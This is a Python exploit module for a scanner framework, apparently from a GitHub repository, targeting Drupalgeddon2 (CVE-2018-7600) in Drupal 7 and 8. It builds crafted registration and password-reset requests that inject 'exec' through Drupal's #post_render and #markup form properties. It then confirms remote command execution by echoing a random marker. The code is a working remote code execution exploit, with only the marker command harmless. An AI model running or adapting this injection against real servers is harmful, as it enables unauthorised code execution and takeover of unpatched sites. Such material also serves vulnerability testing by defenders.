<reponame>mehrdad-shokri/ZEROScan<gh_stars>10-100
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from thirdparty import requests
from bs4 import BeautifulSoup
import random
import string
import sys
import base64
import urllib

def expInfo():
    expInfo={}
    expInfo["appName"] = "Drupal"
    expInfo["appVersion"] = "Drupal < 7.58"
    expInfo["author"] = "Z3r0yu"
    expInfo["description"] = "PoC for testing Drupalgeddon2 (CVE-2018-7600) vulnerability. Works for Drupal 7 and Drupal 8."
    expInfo["references"] = "https://github.com/0ang3el/drupalgeddon2"

    expInfo["options"] = [
        {
            "Name": "URL",
            "Current Setting": "",
            "Required": True,
            "Description": "URL or URL file"
        },
        {
            "Name": "Thread",
            "Current Setting": "1",
            "Required": False,
            "Description": "Threads"
        },
        {
            "Name": "Cookie",
            "Current Setting": "",
            "Required": False,
            "Description": "cookie"
        },
        {
            "Name": "Report",
            "Current Setting": "",
            "Required": False,
            "Description": "do you need a html report?"
        },
    ]
    return expInfo

requests.packages.urllib3.disable_warnings()

def get_random_string(len=20):
    return ''.join([random.choice(string.ascii_letters) for _ in range(len)])

def check_vulnerable_8(base_url):
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    r = get_random_string()
    cmd = urllib.quote('echo {0} | base64 -d'.format(base64.b64encode(r)))
    url = base_url + '/user/register?element_parents=timezone/timezone/%23value&ajax_form=1'
    data = 'form_id=user_register_form&_drupal_ajax=1&timezone[#post_render][]=exec&timezone[#markup]={0}'.format(cmd)

    resp = requests.post(url, data, headers=headers, verify=False)

    if r in str(resp.content):
        return True

    return False


def check_vulnerable_7(base_url):
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    r = get_random_string()
    cmd = urllib.quote('echo {0} | base64 -d'.format(base64.b64encode(r)))
    url = base_url + '/user/password?name[%23post_render][0]=exec&name[%23markup]={0}'.format(cmd)
    data = 'form_build_id=&form_id=user_pass&_triggering_element_name=name&_triggering_element_value='

    resp = requests.post(url, data, headers=headers, verify=False)

    if resp.status_code != 200:
        return False

    soup = BeautifulSoup(resp.content, 'lxml')
    form_build_id = soup.find('input', {'name': 'form_build_id'}).get('value')

    url = base_url + '/file/ajax/name/%23value/' + form_build_id
    data = 'form_build_id={0}'.format(form_build_id)

    resp = requests.post(url, data, headers=headers, verify=False)

    if r in str(resp.content):
        return True

    return False

# target like http://ip/
def exploit(target, headers=None):
    vulnerable1 = check_vulnerable_7(target)
    vulnerable2 = check_vulnerable_8(target)

    if vulnerable1:
        result = 'Drupal 7 target `{0}` is vulnerable !'.format(target)
    elif vulnerable2:
        result = 'Drupal 8 target `{0}` is vulnerable bingo!!!'.format(target)
    else:
        result = 'Target {0} seems not vulnerable to Drupalgeddon 2.'.format(target)

    return result